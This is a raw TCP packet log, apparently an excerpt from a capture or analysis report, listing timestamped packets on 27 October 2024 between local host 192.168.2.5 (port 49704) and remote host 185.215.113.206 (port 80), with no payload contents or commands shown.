Oct 27, 2024 07:59:17.663837910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663852930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663863897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663872957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663894892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663916111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663919926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663919926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663919926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663944960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.663953066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663953066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.663975954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664016962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664027929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664057970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664073944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664100885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664114952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664129019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664132118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664132118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664132118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664144993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664174080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664180040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664191008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664203882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664212942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664236069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664249897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664249897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664251089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664275885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664275885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664293051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664302111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664323092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664324045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664335966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664340973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664357901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664369106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664385080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664400101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664413929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664428949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664441109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664441109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664441109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664441109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664443970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664460897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664475918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664482117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664491892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664495945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664495945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664508104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664525032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664541960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664541960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664545059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664562941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664576054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664580107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664589882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664612055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664618015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664628029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664640903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664655924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664666891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664666891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664666891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664681911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664695978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664695978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664700985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664730072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664731979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664748907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664763927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664778948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664793968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664809942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664819002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664825916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664834976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664834976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664840937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664840937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664859056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664870977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664872885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664886951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664895058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664906025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664913893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664921045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664933920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664948940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664973021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664994001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.664997101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664997101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.664997101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665009975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665024996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665039062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665052891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665070057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665071964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665071964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665083885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665096045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665096045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665098906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665117979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665129900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665149927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665165901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665165901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665165901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665182114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665198088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665210962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665213108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665229082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665241957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665256023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665282011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665283918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665283918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665283918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665296078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665313005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665324926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665348053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665364027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665365934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665379047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665380001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665380001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665406942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665422916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665426970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665426970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665436983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665453911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665458918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665477991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665493965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665503979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665503979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665513039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665518999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665534973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665601015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665628910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665643930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665654898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665673018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665688992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665703058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665718079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665729046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665729046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665734053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665746927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665760994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665775061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665776968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.665790081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.665811062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.666068077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.708141088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.708199024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.708251953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.708266020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.708273888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.708283901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.708302021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.708319902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.708347082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.708494902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.708494902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.708494902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780267954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780283928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780297995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780333042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780355930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780369997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780369997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780385017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780400038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780428886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780458927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780463934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780464888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780472994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780474901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780487061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780489922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780492067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780504942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780512094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780531883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780546904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780563116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780636072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780674934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780674934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780674934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780687094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780687094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780687094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780687094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780731916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780747890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780795097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780810118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780824900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780838013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780842066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780842066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780865908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780869007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780881882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780905008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780917883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780917883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780917883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780931950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780947924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780953884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.780963898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.780978918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781002045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781016111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781030893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781042099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781042099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781048059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781092882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781121016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781136990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781141996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781141996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781152010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781151056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781191111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781203985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781204939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781204939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781219006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781250954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781261921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781261921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781270981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781279087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781286955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781313896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781328917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781342983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781358004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781366110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781373978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781382084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781382084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781411886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781421900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781425953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781461954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781478882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781486988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781493902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781501055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781506062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781508923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781527042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781541109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781553030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781564951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781582117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781590939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781610966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781629086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781629086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781640053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781653881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781667948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781682968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781696081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781706095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781706095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781706095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781708956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781724930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781755924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781758070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781758070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781765938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781784058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781799078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781812906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781821966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781827927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781827927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781872034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781888962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.781897068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781897068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781904936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781912088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.781944990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782027006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782041073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782056093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782119989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782121897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782134056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782136917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782169104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782183886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782185078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782201052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782216072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782233000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782247066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782263041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782263041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782263041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782289982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782318115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782334089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782363892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782378912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782383919 CET	49704	80	192.168.2.5	185.215.113.206
